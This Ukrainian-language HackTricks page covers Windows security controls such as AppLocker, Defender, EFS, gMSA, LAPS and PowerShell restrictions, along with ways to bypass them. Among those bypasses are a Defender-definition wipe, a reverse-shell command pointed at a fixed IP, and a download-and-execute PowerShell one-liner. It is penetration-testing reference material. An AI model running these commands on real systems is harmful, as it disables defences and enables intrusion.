26 KiB
Windows Security Controls
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
AppLocker Policy
Список дозволених програм — це перелік затверджених програм або виконуваних файлів, які можуть бути присутніми та виконуватись на системі. Мета полягає в захисті середовища від шкідливого програмного забезпечення та незатверджених програм, які не відповідають конкретним бізнес-потребам організації.
AppLocker — це рішення Microsoft для білого списку програм, яке надає адміністраторам системи контроль над тим, які програми та файли можуть виконувати користувачі. Воно забезпечує досить детальний контроль над виконуваними файлами, скриптами, файлами установника Windows, DLL, упакованими додатками та установниками упакованих додатків.
Зазвичай організації блокують cmd.exe та PowerShell.exe та запис у певні каталоги, але це все можна обійти.
Check
Перевірте, які файли/розширення знаходяться в чорному/білому списках:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, що забезпечує спосіб перегляду поточного набору правил, які застосовуються в системі:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Обхід
- Корисні записувані папки для обходу політики AppLocker: Якщо AppLocker дозволяє виконувати будь-що всередині
C:\Windows\System32
абоC:\Windows
, є записувані папки, які ви можете використовувати для обходу цього.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Загально достовірні "LOLBAS's" двійкові файли також можуть бути корисними для обходу AppLocker.
- Погано написані правила також можуть бути обійдені
- Наприклад,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, ви можете створити папку під назвоюallowed
будь-де, і вона буде дозволена. - Організації також часто зосереджуються на блокуванні виконуваного файлу
%System32%\WindowsPowerShell\v1.0\powershell.exe
, але забувають про інші місця виконуваних файлів PowerShell такі як%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
абоPowerShell_ISE.exe
. - Примус DLL дуже рідко активується через додаткове навантаження, яке він може створити на системі, і кількість тестування, необхідного для забезпечення того, щоб нічого не зламалося. Тому використання DLL як бекдорів допоможе обійти AppLocker.
- Ви можете використовувати ReflectivePick або SharpPick для виконання коду Powershell в будь-якому процесі та обходу AppLocker. Для отримання додаткової інформації перегляньте: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Зберігання облікових даних
Менеджер безпеки облікових записів (SAM)
Локальні облікові дані присутні в цьому файлі, паролі хешуються.
Локальний орган безпеки (LSA) - LSASS
Облікові дані (хешовані) зберігаються в пам'яті цього підсистеми з причин єдиного входу.
LSA адмініструє локальну політику безпеки (політика паролів, дозволи користувачів...), аутентифікацію, токени доступу...
LSA буде тим, хто перевірить надані облікові дані в файлі SAM (для локального входу) і спілкуватиметься з контролером домену для аутентифікації користувача домену.
Облікові дані зберігаються всередині процесу LSASS: квитки Kerberos, хеші NT і LM, легко розшифровані паролі.
Секрети LSA
LSA може зберігати на диску деякі облікові дані:
- Пароль облікового запису комп'ютера Active Directory (недоступний контролер домену).
- Паролі облікових записів служб Windows
- Паролі для запланованих завдань
- Більше (пароль додатків IIS...)
NTDS.dit
Це база даних Active Directory. Вона присутня лише в контролерах домену.
Захисник
Microsoft Defender - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він блокує загальні інструменти для пентестингу, такі як WinPEAS
. Однак є способи обійти ці захисти.
Перевірка
Щоб перевірити статус Захисника, ви можете виконати командлет PS Get-MpComputerStatus
(перевірте значення RealTimeProtectionEnabled
, щоб дізнатися, чи активний він):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Щоб перерахувати його, ви також можете запустити:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Encrypted File System (EFS)
EFS захищає файли за допомогою шифрування, використовуючи симетричний ключ, відомий як Ключ шифрування файлів (FEK). Цей ключ шифрується за допомогою публічного ключа користувача і зберігається в зашифрованому файлі в $EFS альтернативному потоці даних. Коли потрібно розшифрування, використовується відповідний приватний ключ цифрового сертифіката користувача для розшифрування FEK з потоку $EFS. Більше деталей можна знайти тут.
Сценарії розшифрування без ініціації користувача включають:
- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад, FAT32, вони автоматично розшифровуються.
- Зашифровані файли, надіслані через мережу за протоколом SMB/CIFS, розшифровуються перед передачею.
Цей метод шифрування дозволяє прозорий доступ до зашифрованих файлів для власника. Однак просте зміна пароля власника та вхід в систему не дозволить розшифрування.
Основні висновки:
- EFS використовує симетричний FEK, зашифрований за допомогою публічного ключа користувача.
- Розшифрування використовує приватний ключ користувача для доступу до FEK.
- Автоматичне розшифрування відбувається за певних умов, таких як копіювання на FAT32 або передача по мережі.
- Зашифровані файли доступні власнику без додаткових кроків.
Check EFS info
Перевірте, чи користувач використовував цю послугу, перевіривши, чи існує цей шлях: C:\users\<username>\appdata\roaming\Microsoft\Protect
Перевірте, хто має доступ до файлу, використовуючи cipher /c <file>
Ви також можете використовувати cipher /e
і cipher /d
всередині папки для шифрування та розшифрування всіх файлів
Decrypting EFS files
Being Authority System
Цей спосіб вимагає, щоб жертва виконувала процес всередині хоста. Якщо це так, використовуючи сесії meterpreter
, ви можете видати токен процесу користувача (impersonate_token
з incognito
). Або ви можете просто migrate
до процесу користувача.
Knowing the users password
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Group Managed Service Accounts (gMSA)
Microsoft розробила Групові керовані облікові записи служб (gMSA) для спрощення управління обліковими записами служб в ІТ-інфраструктурах. На відміну від традиційних облікових записів служб, які часто мають налаштування "Пароль ніколи не закінчується", gMSA пропонують більш безпечне та кероване рішення:
- Автоматичне управління паролями: gMSA використовують складний, 240-символьний пароль, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється службою розподілу ключів Microsoft (KDC), що усуває необхідність ручного оновлення паролів.
- Покращена безпека: Ці облікові записи не підлягають блокуванню і не можуть використовуватися для інтерактивних входів, що підвищує їх безпеку.
- Підтримка кількох хостів: gMSA можуть бути спільними між кількома хостами, що робить їх ідеальними для служб, що працюють на кількох серверах.
- Можливість запланованих завдань: На відміну від керованих облікових записів служб, gMSA підтримують виконання запланованих завдань.
- Спрощене управління SPN: Система автоматично оновлює ім'я службового принципала (SPN) при змінах у деталях sAMaccount комп'ютера або DNS-імені, спрощуючи управління SPN.
Паролі для gMSA зберігаються в властивості LDAP msDS-ManagedPassword і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований блок даних, відомий як MSDS-MANAGEDPASSWORD_BLOB, може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання повинно бути автентифіковане з 'Sealing & Secure'.
Ви можете прочитати цей пароль за допомогою GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Знайдіть більше інформації в цьому пості
Також перегляньте цю веб-сторінку про те, як виконати NTLM relay attack для читання пароля gMSA.
LAPS
Рішення для паролів локального адміністратора (LAPS), доступне для завантаження з Microsoft, дозволяє керувати паролями локальних адміністраторів. Ці паролі, які є випадковими, унікальними та регулярно змінюються, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежений через ACL для авторизованих користувачів. За наявності достатніх дозволів надається можливість читати паролі локальних адміністраторів.
{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
PS Constrained Language Mode
PowerShell Режим обмеженої мови блокує багато функцій, необхідних для ефективного використання PowerShell, таких як блокування COM-об'єктів, дозволяючи лише затверджені типи .NET, XAML-робочі процеси, класи PowerShell та інше.
Перевірити
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Обхід
#Easy bypass
Powershell -version 2
В поточному Windows цей обхід не спрацює, але ви можете використовувати PSByPassCLM.
Щоб скомпілювати його, вам може знадобитися Додати посилання -> Перегляд -> Перегляд -> додати C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
і змінити проект на .Net4.5.
Прямий обхід:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Реверсна оболонка:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Ви можете використовувати ReflectivePick або SharpPick, щоб виконати код Powershell в будь-якому процесі та обійти обмежений режим. Для отримання додаткової інформації перегляньте: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Політика виконання PS
За замовчуванням вона встановлена на обмежену. Основні способи обійти цю політику:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Більше можна знайти тут
Інтерфейс постачальника підтримки безпеки (SSPI)
Це API, яке можна використовувати для автентифікації користувачів.
SSPI буде відповідати за пошук відповідного протоколу для двох машин, які хочуть спілкуватися. Переважним методом для цього є Kerberos. Потім SSPI буде вести переговори про те, який протокол автентифікації буде використовуватися, ці протоколи автентифікації називаються постачальниками підтримки безпеки (SSP), розташовані всередині кожної машини Windows у формі DLL, і обидві машини повинні підтримувати один і той же, щоб мати можливість спілкуватися.
Основні SSP
- Kerberos: Переважний
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 та NTLMv2: З причин сумісності
- %windir%\Windows\System32\msv1_0.dll
- Digest: Веб-сервери та LDAP, пароль у формі MD5 хешу
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL та TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Використовується для переговорів про протокол, який буде використовуватися (Kerberos або NTLM, при цьому Kerberos є за замовчуванням)
- %windir%\Windows\System32\lsasrv.dll
Переговори можуть запропонувати кілька методів або лише один.
UAC - Контроль облікових записів користувачів
Контроль облікових записів користувачів (UAC) - це функція, яка дозволяє запит на згоду для підвищених дій.
{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вивчайте та практикуйте Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.